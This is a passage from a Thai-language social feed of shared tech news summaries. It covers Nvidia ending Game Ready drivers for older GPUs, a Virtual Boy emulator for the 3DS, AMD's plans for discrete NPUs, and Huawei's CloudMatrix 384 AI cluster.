https://www.tomshardware.com/pc-components/gpus/nvidia-confirms-end-of-game-ready-driver-support-for-maxwell-and-pascal-gpus-affected-products-will-get-optimized-drivers-through-october-2025

🎙️ เรื่องเล่าจากข่าว: Nvidia ปิดฉากการ์ดจอรุ่นเก๋า พร้อมส่งท้ายด้วยอัปเดตความปลอดภัย 3 ปี หลังจากให้บริการมานานกว่า 9–11 ปี Nvidia ประกาศว่า GPU ตระกูล Maxwell (GTX 900), Pascal (GTX 10) และ Volta (Titan V) จะได้รับไดรเวอร์ Game Ready ครั้งสุดท้ายในเดือนตุลาคม 2025 จากนั้นจะเปลี่ยนไปให้ “อัปเดตด้านความปลอดภัยรายไตรมาส” จนถึงตุลาคม 2028 แม้จะไม่มีการปรับแต่งประสิทธิภาพหรือรองรับเกมใหม่อีกต่อไป แต่ผู้ใช้ยังสามารถเล่นเกมเดิมได้ตามปกติ หากเกมนั้นไม่ต้องการฟีเจอร์ใหม่อย่าง ray tracing หรือ DLSS ซึ่ง GPU รุ่นเก่าไม่รองรับอยู่แล้ว Nvidia ยังประกาศว่าจะขยายการสนับสนุน Game Ready บน Windows 10 สำหรับ GPU ตระกูล RTX ไปจนถึงตุลาคม 2026 แม้ Microsoft จะหยุดสนับสนุน Windows 10 ในเดือนตุลาคม 2025 ก็ตาม ✅ Nvidia จะหยุดออกไดรเวอร์ Game Ready สำหรับ GPU Maxwell, Pascal และ Volta ในเดือนตุลาคม 2025 ➡️ การ์ดจอที่ได้รับผลกระทบ ได้แก่ GTX 900, GTX 10 และ Titan V ➡️ จะยังได้รับอัปเดตด้านความปลอดภัยรายไตรมาสไปจนถึงตุลาคม 2028 ✅ การ์ดจอรุ่นเก่าเหล่านี้จะยังสามารถเล่นเกมได้ หากไม่ต้องการฟีเจอร์ใหม่ ➡️ เช่น ray tracing หรือ DLSS ที่เริ่มมีในสถาปัตยกรรม Turing เป็นต้นไป ➡️ เกมเก่าและเกมที่ไม่ใช้ฟีเจอร์ใหม่ยังสามารถรันได้ตามปกติ ✅ Nvidia จะยังสนับสนุน Game Ready บน Windows 10 สำหรับ RTX GPU ไปจนถึงตุลาคม 2026 ➡️ เป็นการขยายเวลาหลังจาก Microsoft หยุดสนับสนุน Windows 10 ในตุลาคม 2025 ➡️ ช่วยให้ผู้ใช้มีเวลาวางแผนอัปเกรดระบบ ✅ GPU Maxwell เปิดตัวในปี 2014 และ Pascal ในปี 2016 ถือว่าได้รับการสนับสนุนยาวนานถึง 11 ปี ➡️ เกินมาตรฐานอุตสาหกรรมทั่วไป ➡️ GTX 1060 ยังติดอันดับการ์ดจอยอดนิยมใน Steam Survey ปี 2025 ✅ ผู้ใช้ Pascal ยังสามารถใช้ Intel XeSS DP4a สำหรับการอัปสเกลภาพในบางเกมได้ ➡️ เป็นทางเลือกแทน DLSS ที่ไม่รองรับบน GPU รุ่นเก่า ➡️ ช่วยยืดอายุการใช้งานในเกมที่รองรับ ‼️ หลังตุลาคม 2025 จะไม่มีการปรับแต่งประสิทธิภาพหรือแก้บั๊กสำหรับเกมใหม่อีกต่อไป ⛔ เกมใหม่อาจรันได้ไม่ดี หรือไม่เสถียรบน GPU Maxwell/Pascal ⛔ ไม่มีการเพิ่มฟีเจอร์ใหม่หรือรองรับเทคโนโลยีล่าสุด ‼️ GPU รุ่นเก่าไม่รองรับ DLSS หรือ ray tracing ซึ่งกลายเป็นมาตรฐานในเกม AAA ยุคใหม่ ⛔ ทำให้ภาพและประสิทธิภาพด้อยกว่าการ์ดรุ่นใหม่ ⛔ อาจไม่สามารถเล่นเกมที่บังคับใช้ฟีเจอร์เหล่านี้ได้เลย ‼️ Windows 10 จะหยุดรับการอัปเดตจาก Microsoft ในตุลาคม 2025 ⛔ แม้ Nvidia จะขยายการสนับสนุนไปถึง 2026 แต่ระบบปฏิบัติการจะไม่มีฟีเจอร์ใหม่หรือแพตช์จาก Microsoft ⛔ เสี่ยงต่อช่องโหว่ด้านความปลอดภัยในระดับระบบ ‼️ ผู้ใช้ที่ยังใช้ GPU รุ่นเก่าอาจต้องวางแผนอัปเกรดในอีกไม่กี่ปีข้างหน้า ⛔ หากต้องการเล่นเกมใหม่หรือใช้งานฟีเจอร์ AI เช่น DLSS 4 ⛔ การ์ดรุ่นใหม่อาจมีข้อกำหนดด้านระบบที่ต้องใช้ Windows 11 https://www.tomshardware.com/pc-components/gpus/nvidia-confirms-end-of-game-ready-driver-support-for-maxwell-and-pascal-gpus-affected-products-will-get-optimized-drivers-through-october-2025

WWW.TOMSHARDWARE.COM

Nvidia confirms end of Game Ready driver support for Maxwell and Pascal GPUs — affected products will get optimized drivers through October 2025
End of the line for a wide range of iconic graphics cards

0 Comments 0 Shares 52 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:40:07 -

เรื่องเล่าจากข่าว: Virtual Boy กลับมาในสีสันสดใส บน 3DS ผ่านอีมูเลเตอร์ Red Viper

ย้อนกลับไปเมื่อปี 1995 Nintendo เปิดตัว Virtual Boy เครื่องเกมพกพาแบบ VR ที่ใช้จอ LED สีแดงสองจอเพื่อสร้างภาพสามมิติ แม้จะล้ำยุค แต่ก็ล้มเหลวอย่างรวดเร็วเพราะภาพสีแดง-ดำที่ทำให้ผู้เล่นปวดหัว และข้อจำกัดด้านการพกพา

แต่ในปี 2025 นี้ Red Viper—a Virtual Boy emulator สำหรับ 3DS—ได้ออกเวอร์ชัน 1.0 เพื่อฉลองครบรอบ 30 ปีของเครื่องเกมนี้ โดยเพิ่มฟีเจอร์ใหม่ที่เปลี่ยนประสบการณ์เดิมให้สดใสขึ้น:
- รองรับการปรับแต่งสีได้ถึง 4 ระดับ
- เล่นเกมได้เต็มความเร็วทุกเกม
- รองรับ Circle Pad Pro และการควบคุมแบบใหม่
- ใช้จอ 3DS แบบ glasses-free เพื่อสร้างภาพสามมิติที่ใกล้เคียงต้นฉบับ

ผู้ใช้สามารถเลือกสีใหม่ผ่านหน้าจอสัมผัส และบันทึกพาเลตต์เฉพาะสำหรับแต่ละเกมได้ ทำให้เกมอย่าง Red Alarm หรือ Wario Land ดูมีชีวิตชีวาขึ้นอย่างเห็นได้ชัด

Red Viper เวอร์ชัน 1.0 เปิดตัวบน 3DS เพื่อฉลองครบรอบ 30 ปีของ Virtual Boy
รองรับการเล่นเกมทุกเกมอย่างเต็มความเร็ว
ใช้จอ 3DS เพื่อจำลองภาพสามมิติแบบต้นฉบับ

เพิ่มฟีเจอร์ปรับแต่งสีแบบเต็มรูปแบบ
ผู้เล่นสามารถเลือกสีได้ 4 ระดับ: Darkest, Dark, Light, Lightest
ปรับความสว่างและความอิ่มสีได้ผ่านหน้าจอสัมผัส

รองรับการควบคุมใหม่ เช่น Circle Pad Pro และการแมปปุ่มแบบกำหนดเอง
เพิ่มความสะดวกในการเล่นเกมที่ต้องการความแม่นยำ
รองรับการบันทึกสถานะเกมและเซฟไฟล์

สามารถติดตั้งผ่าน Universal Updater หรือ GitHub สำหรับผู้ใช้ 3DS ที่ติดตั้ง custom firmware แล้ว
ต้องมี ROM ของ Virtual Boy ที่ถูกต้องตามกฎหมาย
รองรับการสร้าง “forwarder” เพื่อให้เกมปรากฏบนเมนูหลักของ 3DS

มีการปรับปรุงประสิทธิภาพ เช่น double buffering และ interrupt prediction
ลดการกระตุกและปรับความเร็วให้ใกล้เคียงเครื่องจริง
แก้บั๊กในเกมอย่าง Space Invaders และ Golf

Virtual Boy มีเกมเพียง 22 เกม และถูกยกเลิกภายใน 1 ปีหลังเปิดตัว
เป็นหนึ่งในผลิตภัณฑ์ที่ล้มเหลวที่สุดของ Nintendo
แต่กลายเป็นของสะสมที่หายากในหมู่แฟนเกม

Red Viper เป็นอีมูเลเตอร์ที่แม่นยำที่สุดสำหรับ Virtual Boy บนทุกแพลตฟอร์ม
รองรับการจำลองเวลา render และเสียงแบบต้นฉบับ
มีโหมด anaglyph สำหรับผู้ใช้ 2DS ที่ไม่มีจอสามมิติ

การเพิ่มสีช่วยให้เกม Virtual Boy เล่นง่ายขึ้นและดูมีชีวิตชีวา
เช่น การใช้สีเหลือง-เขียวเพื่อแยกศัตรูออกจากฉากหลัง
ช่วยให้เกมอย่าง Red Alarm และ Jack Bros. เล่นสนุกขึ้นมาก

ยังมีอีมูเลเตอร์ Virtual Boy สำหรับ Meta Quest และ Apple Vision Pro
ให้ประสบการณ์ VR ที่ใกล้เคียงต้นฉบับมากขึ้น
เหมาะสำหรับผู้ที่ต้องการเล่นในรูปแบบ immersive

ต้องใช้เครื่อง 3DS ที่ติดตั้ง custom firmware เท่านั้น
ไม่สามารถใช้งานบนเครื่องที่ไม่ได้เจลเบรก
อาจมีความเสี่ยงด้านความปลอดภัยหากติดตั้งผิดวิธี

ผู้ใช้ต้องหา ROM ด้วยตนเอง ซึ่งอาจมีข้อกฎหมายเกี่ยวกับลิขสิทธิ์
การดาวน์โหลด ROM โดยไม่ได้เป็นเจ้าของอาจผิดกฎหมาย
ควรใช้เฉพาะ ROM ที่ได้จากการสำรองข้อมูลของตนเอง

ไม่มีพาเลตต์สีสำเร็จรูป ต้องปรับแต่งเองในแต่ละเกม
อาจต้องใช้เวลาในการทดลองเพื่อให้ได้ภาพที่สวยงาม
หากไม่บันทึกพาเลตต์ อาจต้องตั้งค่าใหม่ทุกครั้ง

ภาพที่ได้อาจไม่ตรงกับศิลปะต้นฉบับของเกม 8-bit หรือ pixel art
สีที่เลือกอาจทำให้ภาพดูผิดเพี้ยนจากต้นฉบับ
ต้องเลือกสีอย่างระมัดระวังเพื่อไม่ให้เสียอรรถรส

https://www.techspot.com/news/108892-30-years-later-virtual-boy-games-finally-playable.html

🎮 เรื่องเล่าจากข่าว: Virtual Boy กลับมาในสีสันสดใส บน 3DS ผ่านอีมูเลเตอร์ Red Viper ย้อนกลับไปเมื่อปี 1995 Nintendo เปิดตัว Virtual Boy เครื่องเกมพกพาแบบ VR ที่ใช้จอ LED สีแดงสองจอเพื่อสร้างภาพสามมิติ แม้จะล้ำยุค แต่ก็ล้มเหลวอย่างรวดเร็วเพราะภาพสีแดง-ดำที่ทำให้ผู้เล่นปวดหัว และข้อจำกัดด้านการพกพา แต่ในปี 2025 นี้ Red Viper—a Virtual Boy emulator สำหรับ 3DS—ได้ออกเวอร์ชัน 1.0 เพื่อฉลองครบรอบ 30 ปีของเครื่องเกมนี้ โดยเพิ่มฟีเจอร์ใหม่ที่เปลี่ยนประสบการณ์เดิมให้สดใสขึ้น: - รองรับการปรับแต่งสีได้ถึง 4 ระดับ - เล่นเกมได้เต็มความเร็วทุกเกม - รองรับ Circle Pad Pro และการควบคุมแบบใหม่ - ใช้จอ 3DS แบบ glasses-free เพื่อสร้างภาพสามมิติที่ใกล้เคียงต้นฉบับ ผู้ใช้สามารถเลือกสีใหม่ผ่านหน้าจอสัมผัส และบันทึกพาเลตต์เฉพาะสำหรับแต่ละเกมได้ ทำให้เกมอย่าง Red Alarm หรือ Wario Land ดูมีชีวิตชีวาขึ้นอย่างเห็นได้ชัด ✅ Red Viper เวอร์ชัน 1.0 เปิดตัวบน 3DS เพื่อฉลองครบรอบ 30 ปีของ Virtual Boy ➡️ รองรับการเล่นเกมทุกเกมอย่างเต็มความเร็ว ➡️ ใช้จอ 3DS เพื่อจำลองภาพสามมิติแบบต้นฉบับ ✅ เพิ่มฟีเจอร์ปรับแต่งสีแบบเต็มรูปแบบ ➡️ ผู้เล่นสามารถเลือกสีได้ 4 ระดับ: Darkest, Dark, Light, Lightest ➡️ ปรับความสว่างและความอิ่มสีได้ผ่านหน้าจอสัมผัส ✅ รองรับการควบคุมใหม่ เช่น Circle Pad Pro และการแมปปุ่มแบบกำหนดเอง ➡️ เพิ่มความสะดวกในการเล่นเกมที่ต้องการความแม่นยำ ➡️ รองรับการบันทึกสถานะเกมและเซฟไฟล์ ✅ สามารถติดตั้งผ่าน Universal Updater หรือ GitHub สำหรับผู้ใช้ 3DS ที่ติดตั้ง custom firmware แล้ว ➡️ ต้องมี ROM ของ Virtual Boy ที่ถูกต้องตามกฎหมาย ➡️ รองรับการสร้าง “forwarder” เพื่อให้เกมปรากฏบนเมนูหลักของ 3DS ✅ มีการปรับปรุงประสิทธิภาพ เช่น double buffering และ interrupt prediction ➡️ ลดการกระตุกและปรับความเร็วให้ใกล้เคียงเครื่องจริง ➡️ แก้บั๊กในเกมอย่าง Space Invaders และ Golf ✅ Virtual Boy มีเกมเพียง 22 เกม และถูกยกเลิกภายใน 1 ปีหลังเปิดตัว ➡️ เป็นหนึ่งในผลิตภัณฑ์ที่ล้มเหลวที่สุดของ Nintendo ➡️ แต่กลายเป็นของสะสมที่หายากในหมู่แฟนเกม ✅ Red Viper เป็นอีมูเลเตอร์ที่แม่นยำที่สุดสำหรับ Virtual Boy บนทุกแพลตฟอร์ม ➡️ รองรับการจำลองเวลา render และเสียงแบบต้นฉบับ ➡️ มีโหมด anaglyph สำหรับผู้ใช้ 2DS ที่ไม่มีจอสามมิติ ✅ การเพิ่มสีช่วยให้เกม Virtual Boy เล่นง่ายขึ้นและดูมีชีวิตชีวา ➡️ เช่น การใช้สีเหลือง-เขียวเพื่อแยกศัตรูออกจากฉากหลัง ➡️ ช่วยให้เกมอย่าง Red Alarm และ Jack Bros. เล่นสนุกขึ้นมาก ✅ ยังมีอีมูเลเตอร์ Virtual Boy สำหรับ Meta Quest และ Apple Vision Pro ➡️ ให้ประสบการณ์ VR ที่ใกล้เคียงต้นฉบับมากขึ้น ➡️ เหมาะสำหรับผู้ที่ต้องการเล่นในรูปแบบ immersive ‼️ ต้องใช้เครื่อง 3DS ที่ติดตั้ง custom firmware เท่านั้น ⛔ ไม่สามารถใช้งานบนเครื่องที่ไม่ได้เจลเบรก ⛔ อาจมีความเสี่ยงด้านความปลอดภัยหากติดตั้งผิดวิธี ‼️ ผู้ใช้ต้องหา ROM ด้วยตนเอง ซึ่งอาจมีข้อกฎหมายเกี่ยวกับลิขสิทธิ์ ⛔ การดาวน์โหลด ROM โดยไม่ได้เป็นเจ้าของอาจผิดกฎหมาย ⛔ ควรใช้เฉพาะ ROM ที่ได้จากการสำรองข้อมูลของตนเอง ‼️ ไม่มีพาเลตต์สีสำเร็จรูป ต้องปรับแต่งเองในแต่ละเกม ⛔ อาจต้องใช้เวลาในการทดลองเพื่อให้ได้ภาพที่สวยงาม ⛔ หากไม่บันทึกพาเลตต์ อาจต้องตั้งค่าใหม่ทุกครั้ง ‼️ ภาพที่ได้อาจไม่ตรงกับศิลปะต้นฉบับของเกม 8-bit หรือ pixel art ⛔ สีที่เลือกอาจทำให้ภาพดูผิดเพี้ยนจากต้นฉบับ ⛔ ต้องเลือกสีอย่างระมัดระวังเพื่อไม่ให้เสียอรรถรส https://www.techspot.com/news/108892-30-years-later-virtual-boy-games-finally-playable.html

WWW.TECHSPOT.COM

30 years later, Virtual Boy games are finally playable in color
Nintendo 3DS owners who install custom firmware can now play Virtual Boy games in colors other than black and red. The functionality comes with a significant update...

0 Comments 0 Shares 74 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:37:32 -

เรื่องเล่าจากข่าว: AMD เตรียมเปิดตัวชิป NPU แบบแยก เพื่อท้าชน GPU ในยุค AI PC

ในยุคที่ AI กลายเป็นหัวใจของการประมวลผลบนพีซี ผู้ผลิตชิปต่างเร่งพัฒนา NPU (Neural Processing Unit) เพื่อรองรับงาน AI โดยเฉพาะ ซึ่ง AMD ก็ไม่ยอมน้อยหน้า ล่าสุดมีการเปิดเผยว่า AMD กำลังพิจารณาเปิดตัว “Discrete NPU” หรือชิป NPU แบบแยกชิ้น ไม่ฝังอยู่ใน CPU หรือ GPU เหมือนที่ผ่านมา

Rahul Tikoo หัวหน้าฝ่าย CPU ของ AMD ระบุว่า บริษัทกำลังพูดคุยกับลูกค้าเกี่ยวกับการใช้งานและโอกาสของชิป NPU แบบแยก ซึ่งจะช่วยให้พีซีสามารถประมวลผล AI ได้อย่างมีประสิทธิภาพมากขึ้น โดยไม่ต้องพึ่ง GPU ที่กินไฟและสร้างความร้อนสูง

แนวคิดนี้เกิดขึ้นหลังจาก Dell เปิดตัวแล็ปท็อป Pro Max Plus ที่ใช้การ์ด Qualcomm AI 100 ซึ่งเป็น NPU แบบแยกตัวแรกในระดับองค์กร และมีประสิทธิภาพสูงถึง 450 TOPS ในพลังงานเพียง 75 วัตต์

AMD เองก็มีพื้นฐานจากเทคโนโลยี Xilinx ที่ใช้สร้าง NPU ฝังใน Ryzen รุ่นใหม่ และมีโครงการ Gaia ที่ช่วยให้สามารถรันโมเดล LLM ขนาดใหญ่บนเครื่องพีซีได้โดยตรง

AMD เตรียมเปิดตัวชิป NPU แบบแยกสำหรับพีซีในอนาคต
ไม่ใช่ GPU แต่เป็นตัวเร่ง AI โดยเฉพาะ
อยู่ระหว่างการพูดคุยกับลูกค้าเกี่ยวกับการใช้งานและโอกาส

ชิป NPU แบบแยกจะช่วยลดภาระของ CPU และ GPU ในการประมวลผล AI
เหมาะสำหรับงาน inference และการรันโมเดล LLM บนเครื่อง
ช่วยให้พีซีบางเบายังคงมีประสิทธิภาพสูงด้าน AI

AMD มีพื้นฐานจากเทคโนโลยี Xilinx และโครงการ Gaia สำหรับการรันโมเดล AI บน Ryzen
ใช้ NPU tile ที่สามารถสร้างได้ถึง 50 TOPS ต่อชิ้น
สามารถรวมหลาย tile เพื่อเพิ่มประสิทธิภาพได้

Dell เปิดตัวแล็ปท็อปที่ใช้การ์ด Qualcomm AI 100 ซึ่งเป็น NPU แบบแยกตัวแรกในระดับองค์กร
มี 16 AI cores และหน่วยความจำ 32GB ต่อการ์ด
ประสิทธิภาพสูงถึง 450 TOPS ในพลังงานเพียง 75 วัตต์

Discrete NPU จะช่วยลดความต้องการ GPU ระดับสูงในตลาด
ทำให้ราคาการ์ดจอสำหรับเกมเมอร์ลดลง
เป็นทางเลือกใหม่สำหรับผู้ใช้งาน AI โดยเฉพาะ

AMD XDNA 2 NPU มีประสิทธิภาพสูงถึง 50 TOPS และออกแบบให้ประหยัดพลังงาน
ใช้ engine tile แบบแยกที่สามารถประมวลผลได้อย่างอิสระ
รองรับการปรับแต่งโครงสร้างการประมวลผล AI ได้ตามต้องการ

Intel Lunar Lake NPU 4 มีประสิทธิภาพสูงถึง 48 TOPS และออกแบบให้มีพลังงานต่ำ
ใช้สถาปัตยกรรมแบบ parallel inference pipeline
มี SHAVE DSP ที่ช่วยเพิ่มประสิทธิภาพการประมวลผล

Qualcomm Snapdragon X Elite มี NPU 45 TOPS และมีประสิทธิภาพสูงในพลังงานต่ำ
เหมาะกับโน้ตบุ๊กบางเบาและใช้งาน AI แบบต่อเนื่อง
เป็นผู้นำในด้านประสิทธิภาพต่อวัตต์

Discrete NPU อาจกลายเป็นอุปกรณ์เสริมใหม่ในพีซี เหมือนกับการ์ดจอในอดีต
ช่วยให้ผู้ใช้สามารถเลือกอัปเกรดเฉพาะด้าน AI ได้
อาจกลายเป็นมาตรฐานใหม่ในยุค AI PC

Discrete NPU อาจกลายเป็นส่วนประกอบที่กินไฟและสร้างความร้อน หากออกแบบไม่ดี
หากไม่ประหยัดพลังงาน จะไม่ต่างจาก GPU ที่มีปัญหาเรื่องความร้อน
อาจไม่เหมาะกับพีซีบางเบาหรือโน้ตบุ๊ก

ยังไม่มีข้อมูลชัดเจนว่า AMD จะเปิดตัวเมื่อใด และจะมีประสิทธิภาพเท่าใด
อยู่ภายใต้ NDA และยังไม่มีแผนเปิดเผย
อาจใช้เวลานานกว่าจะเข้าสู่ตลาดจริง

การพัฒนา NPU แบบแยกต้องมี ecosystem ซอฟต์แวร์ที่รองรับอย่างเต็มรูปแบบ
หากไม่มีเครื่องมือพัฒนาและไลบรารีที่พร้อมใช้งาน จะไม่สามารถแข่งขันได้
ต้องมีการร่วมมือกับนักพัฒนาและผู้ผลิตซอฟต์แวร์อย่างใกล้ชิด

ผู้ใช้งานทั่วไปอาจยังไม่เห็นความจำเป็นของ NPU แบบแยกในชีวิตประจำวัน
ฟีเจอร์ AI บน Windows ยังจำกัดและไม่ใช่จุดขายหลัก
อาจเหมาะกับผู้ใช้ระดับมืออาชีพมากกว่าผู้ใช้ทั่วไป

https://www.techspot.com/news/108894-amd-signals-push-discrete-npus-rival-gpus-ai.html

🎙️ เรื่องเล่าจากข่าว: AMD เตรียมเปิดตัวชิป NPU แบบแยก เพื่อท้าชน GPU ในยุค AI PC ในยุคที่ AI กลายเป็นหัวใจของการประมวลผลบนพีซี ผู้ผลิตชิปต่างเร่งพัฒนา NPU (Neural Processing Unit) เพื่อรองรับงาน AI โดยเฉพาะ ซึ่ง AMD ก็ไม่ยอมน้อยหน้า ล่าสุดมีการเปิดเผยว่า AMD กำลังพิจารณาเปิดตัว “Discrete NPU” หรือชิป NPU แบบแยกชิ้น ไม่ฝังอยู่ใน CPU หรือ GPU เหมือนที่ผ่านมา Rahul Tikoo หัวหน้าฝ่าย CPU ของ AMD ระบุว่า บริษัทกำลังพูดคุยกับลูกค้าเกี่ยวกับการใช้งานและโอกาสของชิป NPU แบบแยก ซึ่งจะช่วยให้พีซีสามารถประมวลผล AI ได้อย่างมีประสิทธิภาพมากขึ้น โดยไม่ต้องพึ่ง GPU ที่กินไฟและสร้างความร้อนสูง แนวคิดนี้เกิดขึ้นหลังจาก Dell เปิดตัวแล็ปท็อป Pro Max Plus ที่ใช้การ์ด Qualcomm AI 100 ซึ่งเป็น NPU แบบแยกตัวแรกในระดับองค์กร และมีประสิทธิภาพสูงถึง 450 TOPS ในพลังงานเพียง 75 วัตต์ AMD เองก็มีพื้นฐานจากเทคโนโลยี Xilinx ที่ใช้สร้าง NPU ฝังใน Ryzen รุ่นใหม่ และมีโครงการ Gaia ที่ช่วยให้สามารถรันโมเดล LLM ขนาดใหญ่บนเครื่องพีซีได้โดยตรง ✅ AMD เตรียมเปิดตัวชิป NPU แบบแยกสำหรับพีซีในอนาคต ➡️ ไม่ใช่ GPU แต่เป็นตัวเร่ง AI โดยเฉพาะ ➡️ อยู่ระหว่างการพูดคุยกับลูกค้าเกี่ยวกับการใช้งานและโอกาส ✅ ชิป NPU แบบแยกจะช่วยลดภาระของ CPU และ GPU ในการประมวลผล AI ➡️ เหมาะสำหรับงาน inference และการรันโมเดล LLM บนเครื่อง ➡️ ช่วยให้พีซีบางเบายังคงมีประสิทธิภาพสูงด้าน AI ✅ AMD มีพื้นฐานจากเทคโนโลยี Xilinx และโครงการ Gaia สำหรับการรันโมเดล AI บน Ryzen ➡️ ใช้ NPU tile ที่สามารถสร้างได้ถึง 50 TOPS ต่อชิ้น ➡️ สามารถรวมหลาย tile เพื่อเพิ่มประสิทธิภาพได้ ✅ Dell เปิดตัวแล็ปท็อปที่ใช้การ์ด Qualcomm AI 100 ซึ่งเป็น NPU แบบแยกตัวแรกในระดับองค์กร ➡️ มี 16 AI cores และหน่วยความจำ 32GB ต่อการ์ด ➡️ ประสิทธิภาพสูงถึง 450 TOPS ในพลังงานเพียง 75 วัตต์ ✅ Discrete NPU จะช่วยลดความต้องการ GPU ระดับสูงในตลาด ➡️ ทำให้ราคาการ์ดจอสำหรับเกมเมอร์ลดลง ➡️ เป็นทางเลือกใหม่สำหรับผู้ใช้งาน AI โดยเฉพาะ ✅ AMD XDNA 2 NPU มีประสิทธิภาพสูงถึง 50 TOPS และออกแบบให้ประหยัดพลังงาน ➡️ ใช้ engine tile แบบแยกที่สามารถประมวลผลได้อย่างอิสระ ➡️ รองรับการปรับแต่งโครงสร้างการประมวลผล AI ได้ตามต้องการ ✅ Intel Lunar Lake NPU 4 มีประสิทธิภาพสูงถึง 48 TOPS และออกแบบให้มีพลังงานต่ำ ➡️ ใช้สถาปัตยกรรมแบบ parallel inference pipeline ➡️ มี SHAVE DSP ที่ช่วยเพิ่มประสิทธิภาพการประมวลผล ✅ Qualcomm Snapdragon X Elite มี NPU 45 TOPS และมีประสิทธิภาพสูงในพลังงานต่ำ ➡️ เหมาะกับโน้ตบุ๊กบางเบาและใช้งาน AI แบบต่อเนื่อง ➡️ เป็นผู้นำในด้านประสิทธิภาพต่อวัตต์ ✅ Discrete NPU อาจกลายเป็นอุปกรณ์เสริมใหม่ในพีซี เหมือนกับการ์ดจอในอดีต ➡️ ช่วยให้ผู้ใช้สามารถเลือกอัปเกรดเฉพาะด้าน AI ได้ ➡️ อาจกลายเป็นมาตรฐานใหม่ในยุค AI PC ‼️ Discrete NPU อาจกลายเป็นส่วนประกอบที่กินไฟและสร้างความร้อน หากออกแบบไม่ดี ⛔ หากไม่ประหยัดพลังงาน จะไม่ต่างจาก GPU ที่มีปัญหาเรื่องความร้อน ⛔ อาจไม่เหมาะกับพีซีบางเบาหรือโน้ตบุ๊ก ‼️ ยังไม่มีข้อมูลชัดเจนว่า AMD จะเปิดตัวเมื่อใด และจะมีประสิทธิภาพเท่าใด ⛔ อยู่ภายใต้ NDA และยังไม่มีแผนเปิดเผย ⛔ อาจใช้เวลานานกว่าจะเข้าสู่ตลาดจริง ‼️ การพัฒนา NPU แบบแยกต้องมี ecosystem ซอฟต์แวร์ที่รองรับอย่างเต็มรูปแบบ ⛔ หากไม่มีเครื่องมือพัฒนาและไลบรารีที่พร้อมใช้งาน จะไม่สามารถแข่งขันได้ ⛔ ต้องมีการร่วมมือกับนักพัฒนาและผู้ผลิตซอฟต์แวร์อย่างใกล้ชิด ‼️ ผู้ใช้งานทั่วไปอาจยังไม่เห็นความจำเป็นของ NPU แบบแยกในชีวิตประจำวัน ⛔ ฟีเจอร์ AI บน Windows ยังจำกัดและไม่ใช่จุดขายหลัก ⛔ อาจเหมาะกับผู้ใช้ระดับมืออาชีพมากกว่าผู้ใช้ทั่วไป https://www.techspot.com/news/108894-amd-signals-push-discrete-npus-rival-gpus-ai.html

WWW.TECHSPOT.COM

AMD signals push for discrete NPUs to rival GPUs in AI-powered PCs
AMD is exploring whether PCs could benefit from a new kind of accelerator: a discrete neural processing unit. The company has long relied on GPUs for demanding...

0 Comments 0 Shares 64 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:34:50 -

เรื่องเล่าจากข่าว: Huawei CloudMatrix 384—AI ซูเปอร์คลัสเตอร์ที่ท้าชน Nvidia ด้วยพลังแห่งการรวมชิป

ในงาน World Artificial Intelligence Conference 2025 ที่เซี่ยงไฮ้ Huawei ได้เปิดตัวระบบ CloudMatrix 384 ซึ่งเป็นซูเปอร์คลัสเตอร์ AI ที่ประกอบด้วยชิป Ascend 910C จำนวน 384 ตัว เชื่อมต่อกันด้วยโครงสร้างแบบ “all-to-all mesh” ผ่านสายออปติกความเร็วสูง

แม้ชิปแต่ละตัวจะมีประสิทธิภาพต่ำกว่า Nvidia H100 แต่ Huawei ใช้กลยุทธ์ “จำนวนมาก + การออกแบบระบบ” เพื่อชดเชยข้อเสีย และสามารถให้ประสิทธิภาพรวมสูงกว่าระบบ Nvidia GB200 NVL72 ได้ในหลายด้าน เช่น:
- ความเร็วในการประมวลผล BF16 สูงกว่า 1.7 เท่า
- ความจุหน่วยความจำสูงกว่า 3.6 เท่า
- แบนด์วิดธ์หน่วยความจำสูงกว่า 2.1 เท่า

อย่างไรก็ตาม ระบบนี้ใช้พลังงานมากกว่าถึง 3.9 เท่า และมีประสิทธิภาพต่อวัตต์ต่ำกว่าถึง 2.3 เท่า ซึ่งอาจเป็นข้อจำกัดสำคัญในตลาดโลก แต่สำหรับจีนที่มีแหล่งพลังงานหลากหลายและราคาถูก นี่อาจไม่ใช่ปัญหา

Huawei เปิดตัวระบบ CloudMatrix 384 ในงาน WAIC 2025 ที่เซี่ยงไฮ้
ใช้ชิป Ascend 910C จำนวน 384 ตัว เชื่อมต่อแบบ all-to-all mesh ด้วยสายออปติก
ออกแบบมาเพื่อแข่งขันกับ Nvidia GB200 NVL72

ระบบสามารถประมวลผลได้ถึง 300 PFLOPs แบบ BF16
สูงกว่า Nvidia GB200 NVL72 ที่ทำได้ 180 PFLOPs
เหมาะสำหรับงาน inference ของโมเดลขนาดใหญ่

Ascend 910C มีประสิทธิภาพประมาณ 60% ของ Nvidia H100 ในงาน inference
ใช้เทคนิค dual-chiplet และหน่วยความจำ HBM2E ขนาด 128 GB
ผลิตโดย SMIC ด้วยเทคโนโลยี 7nm รุ่นใหม่

ระบบมีความจุหน่วยความจำรวม 49.2 TB และแบนด์วิดธ์รวม 1229 TB/s
สูงกว่า Nvidia GB200 NVL72 ถึง 3.6 เท่าในด้านความจุ และ 2.1 เท่าในด้านแบนด์วิดธ์
รองรับการเชื่อมต่อแบบ scale-out ได้ถึง 165,000 NPU

ระบบ CloudMatrix 384 ถูกติดตั้งแล้วบน Huawei Cloud และพร้อมใช้งานจริง
ใช้ในงาน AI training และ inference ระดับองค์กร
เป็นส่วนหนึ่งของยุทธศาสตร์ลดการพึ่งพาเทคโนโลยีต่างชาติ

Nvidia GB200 NVL72 ใช้ชิป Grace CPU 36 ตัว และ Blackwell GPU 72 ตัว
ออกแบบให้ทำงานร่วมกันเป็น “GPU ขนาดยักษ์” สำหรับโมเดลระดับล้านล้านพารามิเตอร์
มีข้อจำกัดด้านการส่งออกไปยังจีน

Huawei ใช้สายออปติก 800G LPO จำนวน 6,912 เส้นในการเชื่อมต่อภายในระบบ
ลด latency และเพิ่ม bandwidth ได้อย่างมหาศาล
เป็นการออกแบบที่เน้น “ระบบ” มากกว่าชิปเดี่ยว

DeepSeek AI ใช้ Ascend 910C สำหรับ inference และพบว่าประสิทธิภาพ “เกินคาด”
ใช้เทคนิคแปลง CUDA เป็น CUNN ด้วยโค้ดเพียงบรรทัดเดียว
ช่วยลดต้นทุนและลดการพึ่งพา Nvidia

